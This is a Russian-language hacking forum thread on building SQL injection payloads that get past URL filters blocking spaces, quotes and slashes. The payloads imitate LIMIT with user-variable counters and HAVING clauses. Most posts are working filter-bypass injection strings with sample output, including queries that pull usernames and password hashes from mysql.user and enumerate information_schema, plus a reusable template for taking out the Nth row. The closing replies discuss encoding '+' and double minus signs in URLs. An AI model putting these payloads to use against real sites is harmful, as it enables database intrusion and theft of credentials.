Старый 17.02.2011, 12:48   #1
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию Альтернативный LIMIT

Затравка.
Приведу альтернативу LIMIT, когда в url нельзя использовать символы: [пробел],`,',/,%
Из-за ограничений отпадают альтернативные пробелы (%09,%0A,...) и /**/. Остается альтернативный синтаксис с использованием скобок. Но синтаксис limit не позволяет даже их:
Код:
... limit(1,100)      --> error
... limit(1),(100)    --> error
... limit(1)          --> error
... limit(1)offset(0) --> error
Совсем без LIMIT
Если в таблице есть уникальные данные для каждой из строк (например колонка id, e-mail, username), и известно точное значение, то в таком случае будет удобнее указать условие в WHERE, которое ограничит выборку до одной строки. К сожалению для information_schema.tables это не так.

Идея и реализация
Суть идеи -- добавить к данным колонку с возрастающими числами (самодельный AUTOINCREMENT) и затем добавить WHERE условие с точным значением для этой колонки.

1) Google услужливо подсказывает:
SELECT @row:=@row+1 r, t.table_name FROM (SELECT @row:=0) r,information_schema.tables t
Код:
+------+---------------------------------------+
| r    | table_name                            |
+------+---------------------------------------+
|    1 | CHARACTER_SETS                        |
|    2 | COLLATIONS                            |
|    3 | COLLATION_CHARACTER_SET_APPLICABILITY |
|    4 | COLUMNS                               |
|    5 | COLUMN_PRIVILEGES                     |
....
2) Переделываем в альтернативный синтаксис (с использованием обратной кавычки ` было бы проще, но ее часто фильтруют):
SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@row:=0)r,(select(table_name)from(information_schema.tables))t
Как оказалось, пробел между SELECT и @ можно опустить.

3) Теперь в конце запроса висит символ t, который мешает дописать условие WHERE... Решаем проблему прицепкой известной таблицы, данные из которой мы не будем выбирать. Как оказалось, алиас для такой таблицы не обязателен, что позволяет дописывать условия, но размножает строки (об этом дальше).
Чем меньше строк в дополнительной таблице, тем лучше, в примере выбрана information_schema.engines, т.к. в моем случае это всего 6 строк.
SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@ro w:=0)r,(select(table_name)from(information_schema. tables))t,(information_schema.engines)
Код:
+------+----------------+
| r    | table_name     |
+------+----------------+
|    1 | CHARACTER_SETS |
|    2 | CHARACTER_SETS |
|    3 | CHARACTER_SETS |
|    4 | CHARACTER_SETS |
|    5 | CHARACTER_SETS |
|    6 | CHARACTER_SETS |
|    7 | COLLATIONS     |
|    8 | COLLATIONS     |
|    9 | COLLATIONS     |
|   10 | COLLATIONS     |
....
4) Теперь, если дописать where(@row=1) то получим пустое множество, если where(r=1), то ошибку. Правильным решением будет запись having(r=1):
SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@ro w:=0)r,(select(table_name)from(information_schema. tables))t,(information_schema.engines)having(r=1)
Код:
+------+----------------+
| r    | table_name     |
+------+----------------+
|    2 | CHARACTER_SETS |
+------+----------------+
1 row in set (0.00 sec)
В результатах выборки значение r будет всегда на единицу больше.

5) Делаем обертку вокруг нашего SELECT, чтобы получить нужную колонку:
SELECT(table_name)FROM(SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@ro w:=0)r,(select(table_name)from(information_schema. tables))t,(information_schema.engines)having(r=1))x
Код:
+----------------+
| table_name     |
+----------------+
| CHARACTER_SETS |
+----------------+
1 row in set (0.00 sec)
Использование.
Результат построенного SELECT будет зависеть от значения r в having(r=1). Очевидно, что, если в таблице information_schema.engines было шесть строк, то having(r=N) для N=1..6 даст одинаковые значения. Следующее значение будет получено при N=7...12. Поэтому для получения данных, сначала необходимо экспериментальным путем установить количество строк в information_schema.engines (в моем случае новое значение было получено при N=7 поэтому количество строк равно шести). После чего можно получать данные, подставляя значения N=i*rows_count, где i -- номер значения, rows_count -- количество строк в engines.

P.S. Прошу прощения, если привел уже известное решение или есть решение проще (поэтому запостил сюда)...
P.P.S. Мне кажется или парсер форума местами вставляет пробелы?! В SQL запросах их быть не должно...
ont вне форума   Ответить с цитированием
Старый 17.02.2011, 16:39   #2
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию

Пластическая операция.
Спешу дополнить свой пост более красивой формой запроса. (Спасибо profexer за его оригинальную идею ускорителя SQL запрсов и nikp за его красивый беспробельный вариант).

Исходный вариант:
Здесь идет постепенная аккумуляция данных в @n:
select(@n)from(select(@n:=0x20),(select(null)from( mysql.user)where(0x2b)in(@n:=concat(@n,0x7c,user,0 x3a,password))))n
Достаточно модифицировать его, так, чтобы данные не аккумулировались а переопределялись для определенного значения счетчика.

Что изменилось:
select(@n)from(select(@n:=0x20),(@c:=0),(select(null)from(mysql.user)where(0x2b)in(@n:=if(@c=1,concat(user,0x3a,password),@n),@c:=@c+1)))n
Выдаст первую строчку запроса, т.к. нет дополнительной таблицы, размножающей строки.

Шаблон использования:
select(@n)from(select(@n:=0x20),(@c:=0),(select(nu ll)from([запрос])where(0x2b)in(@n:=if(@c=N,[колонка/concat],@n),@c:=@c+1)))n

Например:

select(@n)from(select(@n:=0x20),(@c:=0),(select(nu ll)from((select(table_name)from(information_schema.tables) )x)where(0x2b)in(@n:=if(@c=112,table_name,@n),@c:=@c+1)))n

Получилось очень красиво и удобно (нет проблем с подбором количества строк + запрос и колонки размещаются красивее).
ont вне форума   Ответить с цитированием
Старый 17.02.2011, 19:35   #3
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Чаще попадается задача - вывести, как можно больше информации, в одиночное поле вывода на странице,
но это тоже полезно.

Вариант, возможно более легкий для восприятия:
Накапливаем счетчик и отбираем по нему нужную запись (в примере это запись №2)

Код:
select(@n:=@n+1)n,concat_ws(0x3a,user,password)from(select@n:=-1)k,(mysql.user)having(n+1=2)
nikp вне форума   Ответить с цитированием
Старый 13.03.2012, 20:49   #4
525
 
Регистрация: 06.07.2010
Сообщений: 34
Репутация: 0
По умолчанию

Цитата:
Приведу альтернативу LIMIT, когда в url нельзя использовать символы: [пробел],`,',/,%
Из-за ограничений отпадают альтернативные пробелы (%09,%0A,...) и /**/. Остается альтернативный синтаксис с использованием скобок. Но синтаксис limit не позволяет даже их:
Цитата:
4) Теперь, если дописать where(@row=1) то получим пустое множество, если where(r=1), то ошибку. Правильным решением будет запись having(r=1):
SELECT(@row:=@row+1)r,(t.table_name)FROM(SELECT@ro w:=0)r,(select(table_name)from(information_schema. tables))t,(information_schema.engines)having(r=1)
я один это заметил? что все возможные вариации пробелов запрещение. А у всех вариантов альтернетивы лимита в тс есть "+".
"+" - может заменять пробел
525 вне форума   Ответить с цитированием
Старый 13.03.2012, 21:18   #5
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

525
+1 == -(-1)
DrakonHaSh вне форума   Ответить с цитированием
Старый 13.03.2012, 21:23   #6
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Цитата:
Сообщение от 525 Посмотреть сообщение
я один это заметил? что все возможные вариации пробелов запрещение. А у всех вариантов альтернетивы лимита в тс есть "+".
"+" - может заменять пробел
Плюс в Urlencode останется плюсом.
__________________
Мой блог: http://qwazar.ru/.
Qwazar вне форума   Ответить с цитированием
Старый 14.03.2012, 00:59   #7
InSys
 
Аватар для InSys
 
Регистрация: 13.03.2012
Сообщений: 17
Репутация: 4
По умолчанию

Цитата:
Сообщение от Qwazar Посмотреть сообщение
Плюс в Urlencode останется плюсом.
Эм, что вы имели ввиду? Плюс в urlencode станет %2B, а вот пробел станет плюсом или %20, разве не так?
InSys вне форума   Ответить с цитированием
Старый 14.03.2012, 12:42   #8
Boolean
 
Регистрация: 19.10.2011
Сообщений: 111
Репутация: 34
По умолчанию

Цитата:
Сообщение от InSys Посмотреть сообщение
Эм, что вы имели ввиду? Плюс в urlencode станет %2B, а вот пробел станет плюсом или %20, разве не так?
Когда вставите вектор в URL например, то + автоматически не закодируется в %2B, поэтому обычно юзают два минуса.
__________________
|
Boolean вне форума   Ответить с цитированием
Старый 15.03.2012, 04:43   #9
InSys
 
Аватар для InSys
 
Регистрация: 13.03.2012
Сообщений: 17
Репутация: 4
По умолчанию

Цитата:
Сообщение от Boolean Посмотреть сообщение
Когда вставите вектор в URL например, то + автоматически не закодируется в %2B, поэтому обычно юзают два минуса.
Да вы шутите. Извращение какое-то. Ну автоматически не закодируется, это то понятно. Что мешает руками писать %2B, ну и контролировать заодно что вставляете в адресную строку? Я всегда так делаю например.
InSys вне форума   Ответить с цитированием
Старый 15.03.2012, 14:24   #10
Boolean
 
Регистрация: 19.10.2011
Сообщений: 111
Репутация: 34
По умолчанию

Цитата:
Сообщение от InSys Посмотреть сообщение
Да вы шутите. Извращение какое-то. Ну автоматически не закодируется, это то понятно. Что мешает руками писать %2B, ну и контролировать заодно что вставляете в адресную строку? Я всегда так делаю например.
Никаких шуток. Я всего лишь пояснил, что имел ввиду Qwazar.
__________________
|
Boolean вне форума   Ответить с цитированием
Ответ

Метки
blind sqli, filter bypass, sqli

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot